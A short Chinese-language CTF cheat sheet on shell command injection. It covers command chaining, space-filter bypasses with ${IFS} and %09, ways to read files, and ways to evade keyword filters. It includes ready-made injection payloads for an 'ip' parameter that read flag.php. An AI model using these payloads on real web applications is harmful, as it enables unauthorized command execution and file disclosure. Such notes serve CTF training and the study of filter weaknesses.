CTF Shell 命令执行与绕过记录

整理 Shell 命令连接、空格绕过、文件查看和关键字绕过相关记录。

  • #CTF
  • #Shell
  • #命令执行

命令连接符

;:无论前一条指令是否成功,继续执行后一条。

;

&&:前一条成功,才执行后一条。编码为 %26%26

&&

||:前一条命令失败,才执行后一条。

||

|:把前一条命令的输出,交给后一条命令处理。

|

空格绕过

%09 是参数分隔符。

%09

${IFS}=$IFS$9 是空白字符。

${IFS}
$IFS$9

示例:

?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

自己构造变量拼接。

查看文件

cat:正常顺序

cat flag.php

tac:倒序

tac flag.php

head:看文件开头

看前十行:

head -n 10 flag.php

tail:查看文件末尾

tail flag.php

base64:把文件内容编码后输出

base64 flag.php

本地解码:

echo "base64内容" | base64 -d

输入重定向

flag.php 内容作为标准输入交给 cat

cat<flag.php

关键字绕过

空引号拼接

fl''ag.php
fl""ag

以上写法等于:

flag.php
flag

字符组通配符

可能匹配 flag.php

fla[g].php

问号通配符

可能匹配 flag.php

fla?.php

星号通配符

*.php

反斜杠拆分

fla\g.php

以上写法等于:

flag.php

小 tips

?ip=127.0.0.1;cat$IFS`ls`

先读取 ls,再用 cat 输出,有可能有意想不到的彩蛋。